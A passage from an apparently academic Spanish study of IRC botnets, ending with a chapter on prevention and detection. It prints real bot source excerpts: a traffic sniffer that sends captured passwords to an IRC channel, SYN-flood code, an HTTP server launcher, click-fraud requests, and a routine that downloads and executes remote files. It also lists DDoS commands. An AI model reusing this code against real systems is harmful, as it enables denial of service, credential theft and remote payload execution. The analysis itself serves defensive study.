puede ser la contraseña de acceso al canal.

2. IsSuspiciousVULN: Se encarga de comparar si el equipo captura tráfico de algún

programa susceptible a ser explotado por una vulnerabilidad, util en el caso de

encontrarse en una red local, para explotar otro equipo remoto.

Avanzando en el estudio del módulo, se define una clase Csniffer la cual se encarga de:

• Capturar el tráfico

• Comparar cada paquete con las estructuras definidas

• Enviarlo al canal de chat definido

Se estudia un ejemplo de cómo se realiza la comparación en los paquetes capturados en

la siguiente figura:



Figura 7.15: Segmento de la función en donde se realiza la comparación de los

paquetes

if(ipHeader->proto==6) { tcpHeader=(TCPHEADER*)(szRecvBuf+sizeof(*ipHeader)); int iSrcPort, iDestPort; char szSrcHost[2048], szDestHost[2048]; iSrcPort=ntohs(tcpHeader->th_sport); iDestPort=ntohs(tcpHeader->th_dport); //Sacamos la información del paquete if(iSrcPort !=110 && iSrcPort!=25 && iDestPort !=110 && iDestPort!=25 && iSrcPort!=g_pMainCtrl->m_cBot.si_port.iValue && iDestPort!=g_pMainCtrl>m_cBot.si_port.iValue) { sprintf(szSrcHost, "%s", inet_ntoa(to_in_addr(ipHeader->sourceIP))); sprintf(szDestHost, "%s", inet_ntoa(to_in_addr(ipHeader->destIP))); szPacket=(char*)(szRecvBuf+sizeof(*tcpHeader)+sizeof(*ipHeader)); for(int i=0; i<strlen(szPacket); i++) { if(szPacket[i]=='\r') szPacket[i]='\x20'; if(szPacket[i]=='\n') szPacket[i]='\x20'; } //Vamos comparando y enviando la información if(iSrcPort!=80 && iDestPort!=80 && IsSuspiciousBot(szPacket)) { g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.sniffer_channel.sValue.Str(), "Bot sniff \"%s:%d\" to \"%s:%d\": - \"%s\"\n", szSrcHost, iSrcPort, szDestHost, iDestPort, szPacket); } else if(iSrcPort!=80 && iDestPort!=80 && IsSuspiciousIRC(szPacket)) { g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.sniffer_channel.sValue.Str(), "IRC sniff \"%s:%d\" to \"%s:%d\": - \"%s\"\n", szSrcHost, iSrcPort, szDestHost, iDestPort, szPacket); } else if(iSrcPort!=80 && iDestPort!=80 && IsSuspiciousFTP(szPacket)) { g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.sniffer_channel.sValue.Str(), "FTP sniff \"%s:%d\" to \"%s:%d\": - \"%s\"\n", szSrcHost, iSrcPort, szDestHost, iDestPort, szPacket); } else if(IsSuspiciousHTTP(szPacket)) { g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.sniffer_channel.sValue.Str(), "HTTP sniff \"%s:%d\" to \"%s:%d\": - \"%s\"\n", szSrcHost, iSrcPort, szDestHost, iDestPort, szPacket); } else if(IsSuspiciousVULN(szPacket)) { g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.vuln_channel.sValue.Str(), "VULN sniff \"%s:%d\" to \"%s:%d\": - \"%s\"\n", szSrcHost, iSrcPort, szDestHost, iDestPort, szPacket); } } } } return NULL; }



El único inconveniente que encontramos en la implementación de este módulo es que

sólo funciona bajo Windows NT/Xp.

Figura 7.16: Bot Capturando tráfico

7.3 Ataques de Denegación de Servicio

Uno de los usos más problemáticos que se les dan a las redes de bots hoy en día son los

ataques por Denegación de Servicio Distribuidos (DDOS: Distributed Denial Of Service)

que se ordenan desde estas.

En una red de varios cientos de ordenadores comprometidos a las ordenes de un intruso,

hacer que un objetivo en concreto se vea desbordado ante la cantidad de tráfico que

tiene que atender y que le llega desde todas las partes del mundo es muy sencillo, y no

sólo contra ordenadores particulares, si no incluso contra servidores de paginas Web o

grandes corporaciones.

Tan sólo con una red de una centena de ordenadores con una capacidad de enviar datos

de 128 Kb se es capaz de generar un trafico de 128*100 Kb/s esto es más de 12Mb/s,

más que suficiente para inundar de tráfico a más de un sitio en Internet.



Figura 7.17: Ataque por DDOS

En la figura se observa la estructura típica de un ataque distribuido por denegación de

servicio. El atacante se conecta a uno o varios servidores de IRC (Master) y ordena a las

víctimas comprometidas (D en el dibujo) que realicen un ataque sobre la Víctima.

Normalmente, los ataques por Denegación de servicio suelen tener tres motivos, el

primero es la venganza; Aunque suene un poco extravagante, es más común de lo que

se piensa, un ejemplo de este motivo lo encontramos en el caso del ataque de DDOS

realizado contra la red de IRC hispano:



Noticia publicada en El Mundo, viernes 29 de Agosto del 2003

El segundo motivo es el que va cobrando cada vez más fuerza, es la extorsión: El

atacante ataca un sitio determinado como “ejemplo”, seguidamente, envía un e-mail u

otra comunicación a la organización con la amenaza de un ataque mayor si no se le paga

una cantidad de dinero determinada.

La organización, se debe plantear que en caso de no pagar se está exponiendo a una

cuantiosa pérdida económica por tener desactivado unos servicios y a una gran pérdida

de credibilidad en la compañía por parte de sus clientes.

Incluso a veces, los mismos atacantes se “ofrecen” a proteger el sitio contra futuros

ataques por denegación de servicios (sin ninguna garantía, por supuesto). Finalmente si

la organización cede, es muy probable que otros atacantes se pongan en contacto con

ella, tratando de amenazarlas por el mismo método.

OPERACION RONNIE' El presunto autor del mayor ataque DDoS en España es un autodidacta de 26 años

MADRID.- Santiago G.A. 'Ronnie', de 26 años y autodidacta, fue detenido a finales de julio por la Unidad de Delitos Telemáticos de la Guardia Civil en A Coruña, como presunto autor del mayor ataque de Denegación de Servicios Distribuidos (DDoS) documentado en España a distintos servidores de Internet, lo que llego a afectar en algunos momentos al 30% de los internautas españoles, unos tres millones de usuarios, según datos de la Guardia Civil. El jefe de la unidad encargada de la investigación, el comandante Juan Salom Clotet, explicó que el detenido tiene un alto nivel de inglés e importantes conocimientos de informática (pese a que no dispone de titulación oficial). Fue expulsado de un chat del canal IRC Hispano, por lo que sospechan que el móvil de los ataques puede ser la venganza.

El caso tiene su origen en una serie de ataques DDoS premeditados y realizados contra los nodos centrales de IRC Hispano, iniciados entre los días 24 y 25 de diciembre de 2002 y que fueron continuados (a razón de un ataque cada dos días) hasta el pasado febrero, cuando los perjudicados denunciaron los hechos. Enseguida se llegó a la conclusión de que los ataques respondían a una misma autoría.

El autor de estos ataques utilizó un gusano (…) para infectar ordenadores vulnerables desde donde realizó el ataque DDoS. Dos de las direcciones IP desde donde partían los ataques eran españolas, y los propietarios de las mismas colaboraron con la Guardia Civil.

Meses más tarde, entre abril y mayo, se produjo un ataque mucho mayor, calificado por la Guardia Civil como "avanzado" y considerado cinco veces mayor que el anterior, contra grandes proveedores, como Wanadoo, Intelideas, ONO, LLeidaNet y la Asociación Expanix (Punto Neutro Español), que permite que los proveedores intercambien de manera directa su tráfico nacional, para mantener fluido el tráfico de Internet español.



El tercer motivo es el activismo, grupos organizados ordenan ataques contra sitios de

gobiernos o paginas de determinada ideología. Un caso concreto ocurrió no hace

demasiado en un ataque contra el Web Log de Michelle Malkin, quien publicó las

famosas tiras cómicas sobre Mahoma.

Para ver que es exactamente un DDOS y estudiar los tipos que existen, consultar anexo.

Figura 7.18: Ataque por denegación de servicio mediante una botnet

Se estudia en este apartado, cómo se implementan los ataques por denegación de

servicio más comunes y cuales son los bots que lo efectúan.

Sin ninguna duda, la familia de bots que más tipos de ataques por denegación de

servicio recopila es Phatbot.



Aunque es una funcionalidad extendida, no todos los bots poseen esta característica, por

ejemplo, fue a partir de la versión 0.5beta del bot Data Spy Network en la que se

incluyó un módulo de denegación de servicio, a través de un plugin, el cual permitía

ataques mediante el envío masivo de paquetes UDP y TCP

Este método, muy primitivo, persigue simplemente el consumo de ancho de banda del

equipo atacado.

Un bot que estaba “especializado” en realizar ataques DDOS es Skydance, de hecho,

esta era una de sus únicas características, y para ello usa el envió de paquetes ICMP,

ocultando la dirección de origen mediante spoofing de IP.

Figura 7.19: Definición de IP Spoofing

IP SPOOFING

Suplantación de IP. Consiste básicamente en sustituir la dirección IP origen de un paquete TCP/IP por otra dirección IP a la cual se desea reemplazar. Esto se consigue generalmente gracias a programas destinados a ello y puede ser usado para cualquier protocolo dentro de TCP/IP como ICMP, UDP o TCP. Hay que tener en cuenta que las respuestas del host que reciba los paquetes irán dirigidas a la IP falsificada. Por ejemplo si enviamos un ping (paquete icmp "echo request") spoofeado, la respuesta será recibida por el host al que pertenece la IP legalmente. Este tipo de spooofing unido al uso de peticiones broadcast a diferentes redes es usado en un tipo de ataque de flood conocido como smurf ataque. Para poder realizar IP SPOOFING en sesiones TCP, se debe tener en cuenta el comportamiento de dicho protocolo con el envío de paquetes SYN y ACK con su ISN específico y teniendo en cuenta que el propietario real de la IP podría (si no se le impide de alguna manera) cortar la conexión en cualquier momento al recibir paquetes sin haberlos solicitado. También hay que tener en cuenta que los routers actuales no admiten el envío de paquetes con IP origen no perteneciente a una de las redes que administra (los paquetes spoofeados no sobrepasarán el router).



Los bots Spybot y Sdbot incluían tan sólo la posibilidad de realizar ataques SYN flood

contra un objetivo concreto.

Figura 7.20: Función SYN Flood

Este método era muy simple, tan sólo se establecían conexiones con el equipo remoto y

se le enviaban paquetes SYN (ver anexo), si varios equipos realizaban la misma acción,

la víctima no podía responder a tantas peticiones.

Esta carencia de diversidad de métodos con la que realizar ataques de denegación de

servicios se vio compensada con la aparición de Rbot el cual comenzaba a proveer de

diversas técnicas con la que realizar dichas acciones.

En este bot se incluían de serie tres módulos para realizar ataques distintos:

DWORD WINAPI syn_flood(LPVOID param) { int num = (int)param; syn[num].state = 1; SOCKADDR_IN SockAddr; SOCKET sock[MAX_SYNFLOOD_SOCKETS_TO_USE];//use 200 sockets IN_ADDR iaddr; memset(&SockAddr, 0, sizeof(SockAddr)); SockAddr.sin_family = AF_INET; SockAddr.sin_port = htons(syn[num].port); LPHOSTENT lpHostEntry = NULL; DWORD mode = 1; int c,i; iaddr.s_addr = inet_addr(syn[num].host); if (iaddr.s_addr == INADDR_NONE) lpHostEntry = gethostbyname(syn[num].host); if (lpHostEntry == NULL && iaddr.s_addr == INADDR_NONE) { //error dns syn[num].state = 0; threads[syn[num].thread].id = 0; return 0; } if (lpHostEntry != NULL) SockAddr.sin_addr = *((LPIN_ADDR)*lpHostEntry->h_addr_list); //hostname else SockAddr.sin_addr = iaddr; //ip addy i = 0; while (i < syn[num].times) { for (c=0;c<MAX_SYNFLOOD_SOCKETS_TO_USE;c++) { sock[c] = socket(AF_INET, SOCK_STREAM, 0); if (sock[c] == INVALID_SOCKET) continue; ioctlsocket(sock[c],FIONBIO,&mode); } for (c=0;c<MAX_SYNFLOOD_SOCKETS_TO_USE;c++) connect(sock[c], (PSOCKADDR) &SockAddr, sizeof(SockAddr)); Sleep(syn[num].delay); for (c=0;c<MAX_SYNFLOOD_SOCKETS_TO_USE;c++) closesocket(sock[c]); //close sockets i++; } syn[num].state = 0; threads[syn[num].thread].id = 0; return 0; }



• Ddos.cpp: Es el módulo encargado de realizar ataques de SYN flood,

directamente heredado de Sdbot. Usando también IP Spoofing

• Tcpflood.cpp: Se encarga de realizar ataques TCP flood

• Icmpflood.cpp: Contiene el código de los hilos que lanzan los ataques con

paquetes ICMP

Phatbot/Agobot el que posee más tipos diferentes de ataques, en esta lista nos

encontramos:

• SYN Flood

• HTTP Flood

• ICMP Flood

• UDP Flood

• Targa3 Flood

• Wonk Flood

A modo de curiosidad, los comandos que ordenan los ataques en este programa

son:

• .ddos.phatsyn <host> <time> <delay> <port> : Ordena un ataque phatsyn

- port 0 = Puerto aleatorio

• .ddos.phatwonk <host> <time> <delay>: Ordena un ataque Wonk

• .ddos.phaticmp <host> <time> <delay>: Ordena un ataque ICMP

• .ddos.synflood <host> <time> <delay> <port>: Ordena un ataque SYN

- port 0 = random port

• .ddos.udpflood <target> <port>[0=rand] <time>(secs) <delay>(ms):Ordena

un ataque UDP



• .ddos.targa3 <target> <time>(secs): Ordena un ataque targa3

• .ddos.httpflood <url> <number> <referrer> <delay> <recursive>: Ordena un

ataque http.

-delay 0 = Retraso aleatorio

No vamos a entrar en especificiaciones técnicas de ninguno de estos ataques, para más

información sobre cada tipo de ataque se recomienda consultar el anexo, sin embargo

se muestra el digrama UML de las clases relacionadas:



Figura 7.21: Diagrama UML de las funciones DDOS de Agobot



7.4 Spam

Se define como spam, al envío de mensajes no solicitados, habitualmente de tipo

publicitario, en cantidades masivas. Existen varias vías, pero nos centraremos en el

uso mediante E-mail. Se estima que aproximadamente el 60%-70% del spam que

circula actualmente en Internet, proviene de direcciones IP que son de máquinas

comprometidas en una red zombie.

El uso que un atacante puede hacer de una red bot para enviar Spam es variado.

Por una parte, mediante el análisis del tráfico, con el acceso a las cuentas de correo o a

las listas de direcciones del equipo infectado, el spammer (individuo que hace spam)

puede hacerse con una gran cantidad de direcciones de mail activas que serán

objetivos potenciales para sus envíos.

Por otra, el spammer, con la instalación de algún programa externo, usando la función

de descarga de los bots, programa y ordena el envío de correos a la red botnet, con tan

sólo un comando, tiene a su disposición cientos o miles de ordenadores enviando

Spam automáticamente.

Otras de las ventajas que posee este método, es que no es su equipo el que envía

directamente el spam, si no que lo hace a través de las direcciones de las máquinas

comprometidas, de este modo, la verdadera dirección del spammer queda oculta,

siendo más complicado su rastreo.

Figura 7.22: Funcionamiento del spam



Es muy común el “alquiler” de redes bots para el uso de spam, el spammer se pone en

contacto con el dueño de la botnet, y este le cobra por sus servicios, bien sea por cada

equipo en uso o bien por correo enviado.

7.5 Funciones de proxy, pasarela y servidor

Un equipo comprometido por un bot puede ser usado por el atacante para redirigir

tráfico, evitar ser detectados o para realizar acciones usando una dirección distinta a la

suya.

Para realizarlo, el atacante usa los equipos comprometidos como pasarelas o proxys

desde los que conectarse y ocultarse.

Figura 7.23: Definición de Proxy

En este caso, en vez de permitir el acceso a Internet, se conecta a través de él para

ocultar el rastro del equipo atacante.

Por otra parte, el uso como servidor http o ftp, permite utilizar el ordenador

comprometido como vía para albergar malware con el que infectar más equipos o para

almacenar software ilegal.

Vamos a pasar a estudiar que características de este tipo posee cada bot y cómo las

implementan:

DataSpy Network posee entre sus características la redirección de puertos: redirigir el

tráfico de un puerto de un nodo de la red a otro, esto tiene muchas ventajas y el

aprovechamiento que se haga de esto sólo depende del ingenio del atacante, algunos de

los usos más habituales que se hacen de la redirección de puertos son:

Proxy Programa o dispositivo que realiza una acción en representación de otro. La finalidad más habitual es la del servidor proxy, que sirve para permitir el acceso a Internet a todos los equipos de una organización cuando sólo se puede disponer de un único equipo conectado, esto es, una única dirección IP.



• Redirigir todo el tráfico en el puerto que deseemos del sistema víctima hacia el

ordenador del atacante para capturar tráfico

• Puede ser usado para evitar cortafuegos mal configurados haciendo que el

tráfico pase a través de los puertos accesibles, como por el ejemplo el 80

• Hacer Telnet inverso o Shell reverse: Dejar un puerto escuchando en el equipo

atacante y hacer que el equipo comprometido se conecte con nosotros. También

es una forma de evitar cortafuegos

• Redirigir el tráfico del atacante a través de la víctima para ocultarse

De todo esto se encarga el archivo PortRedirect.cpp que contiene la definición de la

clase del mismo nombre:

Figura 7.24: Clase PortRedirect del bot DSN

El código de esta función es simple: crea y comprueba que los sockets que se vayan a

usar estén disponibles. Todo el tráfico que atraviese el puerto de origen lo guarda en un

buffer y lo envía al destino.

Omega II contaba con la opción de instalar un servidor SOCKS4 en el puerto 1080 que

realiza funciones de Proxy esto se usa principalmente por el atacante para la navegación

anónima en Internet y para Spam. Como hemos dicho este método es bastante eficaz ya

que el envío queda registrado usando la dirección del equipo comprometido el cual no

aparece en las “listas negras” de los programas anti-spam.

class PortRedirect : public TcpSock { public: PortRedirect(int inPort,int outPort,char *RedirectTo); ~PortRedirect(); void Accept(SOCKET iCheckSocket); private: int iOpen; };



Sdbot y Spybot usan también la función de redirección de puertos, pero además, este

último, incorpora la capacidad de crear un servidor http en el equipo infectado en el que

el atacante puede, entre otras acciones:

• Montar un sitio Web con contenidos engañosos: Bien para que los usuarios se

descarguen y ejecuten el archivo de bot o para Phising, simulando ser una

entidad de cualquier tipo

• Guardar contenido ilegal remotamente

• Aprovecharse de las vulnerabilidades de los navegadores: Montando una página

Web que aproveche algún fallo para ejecutar el código del bot

• Alquilar el espacio para descargas de malware

Esta función se realiza mediante tres funciones que se estudian a continuación:

• int HTTP_server(char *dir,int poort);

• DWORD WINAPI HTTP_server_to_guest(LPVOID Param);

• DWORD WINAPI HTTP_server_thread(LPVOID Param);

La primera de ellas es la encargada de iniciar los sockets, lanzar los hilos

correspondientes y de enviar los mensajes al canal de IRC en el caso de que todo haya

ido bien:



Figura 7.25: Lanzador del servidor HTTP

Las otras dos funciones se encargan por lo tanto de crear el servidor http y de las

comunicaciones con quien hace las peticiones, se descarta el estudio de estas funciones,

ya que se salen del tema a tratar.

Rbot es el primero de todos ellos en reunir todos los anteriores bajo un sólo programa:

Redirección de puertos, Sock4, servidor http y además añade un servidor ftp el cual,

permitía un alternativa al protocolo http para descargar y almacenar archivos en el

equipo infectado.

De nuevo, el completo Agobot/Phatbot era el que con más opciones cuenta:

• Redirección de protocolos: TCP, GRE…

• Servidores HTTP, HTTPS,SMTP,

• Proxys SOCK4,SOCK5.

Como se observa, el mismo bot incorpora un servidor SMTP, señal de las necesidades

que va necesitando el bot, con la inclusión de este programa por defecto en el núcleo del

int HTTP_server(char *dir,int http_poort) { DWORD id; int c; char buf[250]; HANDLE handle; //Declaraciones de los buffers, sockets y caracteres SOCKET HTTPServer; //para las direcciones char httpsDir[MAX_PATH]; memset(httpsDir,0,sizeof(httpsDir)); if (dir[strlen(dir)-1] == 92) dir[strlen(dir)-1] = '\0'; strcpy(httpsDir,dir); if ((HTTPServer = Listen(http_poort)) == -1) //Ponemos a escuchar en el return -1; //puerto especificado for (c=0;c < 40;c++) if (threads[c].id == 0) break; if (c > 39) { closesocket(HTTPServer); return -1; } //Lanzamos el hilo correspondiente al servidor http handle = CreateThread(NULL, 0, &HTTP_server_thread, (LPVOID)c, 0, &id); if (handle != NULL) { //Se envía mensaje si todo va bien sprintf(buf,"Server listin port: %i root dir: %s\\",http_poort,httpsDir); addthread(buf,HTTPServer,handle,3,httpsDir); } return c; }



bot, la actividad del spammer se facilita ya que no tiene que recurrir a la descarga e

instalación de programas externos.

7.6 Fraude por click

Otra característica que permite un uso malicioso de las redes de bots es el fraude por

click, muchos bots incorporan comandos que permiten que el equipo infectado visite de

manera oculta una url determinada, esto es muy útil para las organizaciones que pagan

por dirección visitada ya que son capaces de falsificar una cantidad muy grande de

visitas en muy poco tiempo.

Rbot. Sdbot y Gspot incorporan estas características entre sus opciones:

Figura 7.26: Fraude por clic

Se va mostrar de que manera la implementa Rbot, para ello se estudia la parte principal

de la función DWORD WINAPI VisitThread(LPVOID param) que es la que se encarga

de lanzar el hilo correspondiente a la ejecución de este comando.



Figura 7.27: Petición http para visitar un sitio determinado

El programa realiza una conexión al servidor http remoto y hace una petición usando

fHttpSendRequest con lo que quedará marcado como visitado.

….(Declaracion e inicializacion de variables)…. do { // Divide la URL en partes if (!fInternetCrackUrl(visit.host, strlen(visit.host), 0, &url)) { sprintf(sendbuf,"[VISIT]: Invalid URL."); break; } // Copia cada parte en sus variables if (url.dwHostNameLength > 0) strncpy(vhost, url.lpszHostName, url.dwHostNameLength); int vport = url.nPort; if (url.dwUserNameLength > 0) strncpy(vuser, url.lpszUserName, url.dwUserNameLength); if (url.dwPasswordLength > 0) strncpy(vpass, url.lpszPassword, url.dwPasswordLength); if (url.dwUrlPathLength > 0) strncpy(vpath, url.lpszUrlPath, url.dwUrlPathLength); //Si no es posible realizar una conexión ch = fInternetConnect(ih, vhost,(unsigned short)vport, vuser, vpass, INTERNET_SERVICE_HTTP, 0, 0); if (ch == NULL) { sprintf(sendbuf,"[VISIT]: Could not open a connection."); break; } //Se intenta conectar con el servidor remoto req = fHttpOpenRequest(ch, NULL, vpath, NULL, visit.referer, &accept, INTERNET_FLAG_NO_UI, 0); if (req == NULL) { sprintf(sendbuf,"[VISIT]: Failed to connect to HTTP server."); break; } //Envía una petición HTTP if (fHttpSendRequest(req, NULL, 0, NULL, 0)) sprintf(sendbuf,"[VISIT]: URL visited."); else sprintf(sendbuf,"[VISIT]: Failed to get requested URL from HTTP server."); } while(0); …Cierra las conexiones y fin del programa…



7.7 Descargas y mejoras

Es una caracteristica muy potente y básica en los bots, ya que de esta manera es posible

añadir cualquier funcionalidad externa o actualizar el bot si se desarrolla alguna

caracteristica importante, esto nos hacer prácticamente lo que se desee con el ordenador

infectado, sin tener que estar ligado a un sólo programa, sin embargo, es cada vez

menos usados, debido a que los últimos bots aparecidos son cada vez más completos en

cuanto a las funcionalidades que nos ofrecen.

Aunque los usos son ilimitados y dependen de la imaginación y las necesidades del

atacante, se comentan algunos:

• Instalación de un servidor de correo para realizar spam

• Instalación de programas de publicidad, tanto en las rutinas del navegador como

en las del explorador del sistema operativo

• Instalación de programas Spyware que envian información estadistica a

empresas

• Instalación de servidores IRC para albergar otras redes bot

Las acciones de Descargas y mejoras, se pueden realizar o dividir en tres instrucciones,

que dependiendo del bot, pueden ser implementados como comandos individuales:

• Descarga (Dowload)

• Actualizacion (update)

• Ejecucion (Exec)

Los tres están fuertemente ligados y en algunas implementaciones se llaman unos a

otros ya que, por ejemplo, para una actualización es necesaria una descarga desde un

servidor y la posterior ejecucion del programa descargado.

Vamos a ver cómo se implementan en el bot SdBot, que es el caso más claro que hemos

encontrado y cuyo método es heredado posteriormente por Rbot y Phatbot/Agobot.



Sdbot separa cuando es una actualización de cuando es una descarga de un archivo

ejecutable de otro tipo. En primer lugar declara la siguiente estructura para guardar la

información de la descarga:

Figura 7.28: Estructura de la información de la descarga

Posteriormente define e implementa la función DWORD WINAPI webdownload(LPVOID

param).En ella intenta conectar a la url de la dirección pasada como parámetro y si lo

consigue, abre el archivo, enviando un mensaje al canal en caso de error (y si no está

definido el modo silencioso).

Figura 7.29: Conexión con la URL remota

El siguiente paso es ir leyendo el archivo de la dirección e ir copiándolo localmente,

infirmando del porcentaje de la transferencia en el canal.

typedef struct ds { char url[256]; //Dirección url a descargar char dest[256]; //Destino char chan[128]; //Canal de irc SOCKET sock; //Identificador del socket int run; int threadnum; //Número de hilos int update; //Indicador de si es actualización o no BOOL silent; //¿Quiere respuesta al canal? BOOL gotinfo; } ds;

fh = InternetOpenUrl(ih, dl.url, NULL, 0, 0, 0); if (fh != NULL) { // open the file f = CreateFile(dl.dest, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0); // make sure that our file handle is valid if (f < (HANDLE)1) { if (!dl.silent) irc_sendf2(dl.sock, "PRIVMSG %s :couldn't open %s.\r\n", dl.chan, dl.dest);



Figura 7.30: Copiando el archivo

Finalmente, si no es una actualización, se envía el mensaje de descarga finalizada al

canal y se ejecuta el archivo:

Figura 7.31: Ejecución del archivo remotamente

Y si es una actualización, se envía el mensaje al canal, creamos el proceso para la

instalación de la instancia del nuevo bot y se desinstala el antiguo.

Figura 7.32: Desinstalación del programa anterior

do { memset(fbuff, 0, sizeof(fbuff)); InternetReadFile(fh, fbuff, sizeof(fbuff), &r); //Lee el archivo WriteFile(f, fbuff, r, &d, NULL); //Escribe total = total + r; if (dl.update != 1) //Si no es una actulización.Progreso sprintf(threadd[dl.threadnum], "file download (%s - %dkb transferred)", dl.url, total / 1024); else //Si si lo es. Progreso sprintf(threadd[dl.threadnum], "update (%s - %dkb transferred)", dl.url, total / 1024); } while (r > 0);

//download isn't an update if (dl.update != 1) { //Mensaje al canal sprintf(tstr, "downloaded %.1f kb to %s @ %.1f kb/sec.", total / 1024.0, dl.dest, speed / 1024.0); if (!dl.silent) irc_privmsg(dl.sock, dl.chan, tstr, FALSE); if (dl.run == 1) { ShellExecute(0, "open", dl.dest, NULL, NULL, SW_SHOW); //Ejecutamos el archivo if (!dl.silent) irc_sendf2(dl.sock, "PRIVMSG %s :opened %s.\r\n", dl.chan, dl.dest); }

// download is an update } else { //Mensaje al canal sprintf(tstr, "downloaded %.1f kb to %s @ %.1f kb/sec. updating...", total / 1024.0, dl.dest, speed / 1024.0); if (!dl.silent) irc_privmsg(dl.sock, dl.chan, tstr, FALSE); memset(&sinfo, 0, sizeof(STARTUPINFO)); sinfo.cb = sizeof(sinfo); sinfo.wShowWindow = SW_HIDE; //Oculto if (CreateProcess(NULL, dl.dest, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo) == TRUE) { //Creamos el proceso y desinstalamos el anterior uninstall(); WSACleanup(); exit(0); }



Bot Keylogging Sniffing DDOS Proxies/Servidores Fraude por

click

Microbot NO NO NO NO NO

G-Spot NO NO Flood NO SI

Leechbot VB NO NO SYNFlood NO NO

Data Spy

Network

SI NO UDP

(Plugin)

TCP(Plugin)

Proxy

Redirección

puertos

Http(plugin)

SI

Omega Project

II

NO NO NO Sock (plugin) NO

SDbot NO NO NO Redirección SI

SpyBot SI NO

SYNFlood Http server

Redirección

NO

Rbot SI SI SYNFlood

TCPFlood

ICMPFLood

Redirección

Sock4

Http

Ftp

SI

PhatbotAgobot SI SI SYNFlood

HTTPFlood

ICMPFlood

UDPFlood

Targa3Flood

WonkFlood

Redireccion

Http

Ftp

Smtp

Sock4

Sock5

SI

Tabla 7.1: Resumen de características de explotación de los bots



Capítulo 8

Técnicas de protección Las soluciones para evitar y detectar las redes bots se podrían dividir en tres apartados,

el primero de ellos preventivo, los dos siguientes se basan en la detección de un posible

equipo. Estos tres son:

1. Prevención de los equipos

2. Detección de las comunicaciones entre bot y bot-master

3. Detección de características secundarias como técnicas de propagación y de

ataque

8.1 Prevención de equipos

Sin duda, la parte más importante de toda política de seguridad es la prevención, la

aplicación de protocolos preventivos antes de que nada ocurra. Aunque hay que tener

siempre presente que es imposible para cualquier sistema estar 100 % protegido ante

todo los tipos de ataques físicos y lógicos.

Los métodos más fiables y conocidos para prevenir de estos ataques son:

A. Antivirus: Aunque no detectan todos los programas de este tipo, es sin duda, una

barrera importante de protección ante cualquier software malicioso, tener un

antivirus actualizado y con unas buenas características de detección es una parte

importante en la prevención de infecciones.

B. Firewalls: La instalación y correcta configuración de un cortafuegos, tanto en los

ordenadores personales como en zonas claves de la red que administremos, nos

permite detectar y desechar tráfico potencialmente peligroso, así como bloquear

el acceso a sitios determinados con un riesgo potencial de infección.

C. Sistemas de detección de intrusos (IDS): Aunque su aplicación se suele limitar a

redes más que al usuario doméstico. Es un excelente mecanismo para detectar

comportamiento anómalos en el tráfico saliente y entrante en la red, así como un

buen complemento para el cortafuegos.



D. Aplicación de parches de seguridad: La aplicación de actualizaciones de

software sobre los componentes y servicios con vulnerabilidades conocidas

deben ser aplicados lo antes posible, un servicio ejecutándose con una

vulnerabilidad corregida y publicada es un peligro potencial para toda la red.

Como ejemplo de esto, los gusanos Sasser y Blaster se aprovechaban de una

vulnerabilidad ya publicada y tan sólo afectaba a equipos no actualizados, aun

con esto, consiguieron infectar cientos de miles de ordenadores.

E. Sentido común: De nada sirve todo lo anterior si no se conciencia a usuario de la

red de la importancia de la seguridad. Informar al usuario del peligro de visitar

ciertos sitios Web, de ejecutar archivos adjuntos de fuentes dudosas o de no

proporcionar datos bancarios fácilmente es la mejor herramienta de prevención.

Sin embargo, los principales problemas que nos encontramos para aplicar estas políticas

son:

1. Si administramos un ISP, no tenemos el control directo sobre cada

ordenador.

2. Imposibilidad de aplicar parches en ciertos sistemas antiguos (Windows

98...)

3. Los nuevos gusanos aplican complejos vectores de infección.

4. Personalización de ciertos ataques que hace que sea más sencillo de

ejecutar ciertos archivos y más complicada la detección de los programas

por las compañías antivirus.

8.2 Detección de las comunicaciones

La captura de las comunicaciones entre el ordenador infectado y el dueño de la red es

una de las únicas técnicas que podemos usar para desmontar una botnet. Si el bot-master

está usando un servidor IRC para centralizar las comunicaciones, podremos capturar

cierto tráfico que pueda llegar a ser sospechoso, como vemos en la figura, interceptando

y analizando los datos que circulan entre el ordenador zombie y el servidor IRC



podremos detectar ciertos patrones de comportamiento que nos indiquen que el

ordenador se encuentra infectado.

Figura 8.1: Captura de las comunicaciones

En un principio, si se trataras de una botnet C&C mediante IRC, se podrían estudiar

tres patrones generales:

a. Detección del tráfico de salida por el puerto TCP 6667: Es un patrón

bastante general, pero nos servirá para diferenciar el tráfico en la red.

Esto podrá variar según el tipo de botnet que queramos estudiar,

pudiendo en otros casos, estudiar protocolos distintos.

b. Inspección del ‘payload’: En el envío de ciertas cadenas de información

de comandos que suelan ser usados por programas bots

(.advscan, .login…)

c. Comportamiento en el IRC: Un ordenador infectado por un bot,

conectado a un servidor de Chat no genera el mismo tráfico que un

usuario conectado normalmente, Por ejemplo, largo tiempo sin enviar

tráfico con texto, o sólo un tipo de texto determinado, el incremento de

las conversaciones en un canal determinado en un momento puntual,

etc…



8.3 Detección de características secundarias

Aquí nos centramos en los síntomas de la infección, para ello tendremos que esperar

que la botnet entre en acción para detectar las direcciones que se encuentran infectadas,

nos guiaremos por las acciones más comunes de las redes bot:

• Spam: Mediante spamtramps podemos capturar las direcciones desde las

que se envían los correos basura y que posiblemente se encuentren dentro de

la red bot.

• Phising: Podemos aplicar el mismo método que en el caso anterior, pero

mediante programas anti-phising.

• Ataques DDOS: Los logs generados por los ataques de denegación de

servicio hacia un objetivo es una gran fuente de direcciones IP infectadas

por bots.

• Captura de los binarios y análisis de los mismos: Cuando se produce una

infección con éxito, el binario con el programa infectado se ejecuta en el

sistema, si conseguimos descargar de memoria y desensamblar dicho

ejecutable, podremos obtener información interesante sobre la botnet.

Como vemos, estos patrones dependerán en gran manera de las características de cada

botnet, ya que dependiendo de cómo se encuentre implementada nos resultará más

efectiva una u otra técnica.

Una vez con los rangos de direcciones IP sospechosas de contener un bot (obtenidas de

los logs de estos programas) procederíamos a avisar a las redes de las que provengan o a

los usuarios, si la dirección proviene de un ordenador de nuestro dominio.

Tanto en el caso de querer analizar si nuestro sistema contiene un red de bots, como en

